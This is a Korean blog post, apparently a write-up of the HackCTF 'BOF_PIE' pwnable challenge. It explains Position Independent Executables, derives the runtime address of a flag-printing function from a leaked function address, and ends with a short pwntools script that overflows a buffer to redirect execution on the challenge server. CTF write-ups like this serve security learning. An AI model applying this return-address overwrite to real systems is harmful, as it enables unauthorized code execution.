본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (BOF_PIE)

 

해당 파일을 실행하면 다음과 같이 나온다. j0nghyun의 주소를 알려주는데, 주소가 실행될 때마다 바뀐다. checksec를 통해 설정된 보호기법을 확인해보면 다음과 같다.

 

위처럼 매번 실행할 때마다 주소가 바뀌는 이유는 PIE가 설정되어 있기 때문이다.


PIE (Position Independent Executable)

위치 독립 코드로 이루어진 실행 가능한 바이너리를 뜻한다. 위치 독립 코드란 말은, 실행될 때마다 매핑되는 주소가 어디든 상관없이 실행되는 파일이라는 뜻인데, 실행될 때마다 주소를 랜덤하게 바꾸어서 특정 주소의 값을 변조하는 등의 공격을 보호하기 위해 사용된다.

 


 

IDA를 이용해 코드를 보도록 한다.

 

main 함수

main에서 welcome 함수를 호출한다.

 

welcome 함수

welcome에서 문자열을 출력하고 입력을 받는다. j0n9hyun의 주소를 알려주는 듯 했지만 welcome의 주소를 알려주고 있다.

 

j0n9hyun 함수

함수 목록을 보면 j0n9hyun이라는 함수가 있는데, 해당 함수는 "ha-wi"를 출력해준 후에 flag를 출력해준다. 이 함수를 이용해 flag를 알아내면 될 듯 하다.

방법은 다음과 같다.

 

1. 실행 시킨 후의 welcome 함수의 주소를 획득한다.

2. 해당 값에서 원래 welcome 함수의 주소인 0x00000909를 빼준다.

3. 뺀 값을 j0n9hyun 함수의 주소 0x00000890에 더해주면 실행 시킨 후의 j0n9hyun 함수의 주소를 얻을 수 있다.

 

from pwn import *

offset_welcome = 0x00000909
offset_flag = 0x00000890

r = remote("ctf.j0n9hyun.xyz", 3008)

r.recvuntil("is ")
welcome = int(r.recv(10), 16)
flag = (welcome - offset_welcome) + offset_flag

payload = "\x90"*22
payload += p32(flag)
r.sendline(payload)
r.interactive()

 

'Pwnable > HackCTF' 카테고리의 다른 글

[ProjectH4C] HackCTF (g++ pwn)  (0) 2020.09.27
[ProjectH4C] HackCTF (RTL_World)  (0) 2020.09.27
[ProjectH4C] HackCTF (Offset)  (0) 2020.09.18
[ProjectH4C] HackCTF (Simple_Overflow_ver_2)  (0) 2020.09.17
[ProjectH4C] HackCTF (x64 Simple_size_BOF)  (0) 2020.09.17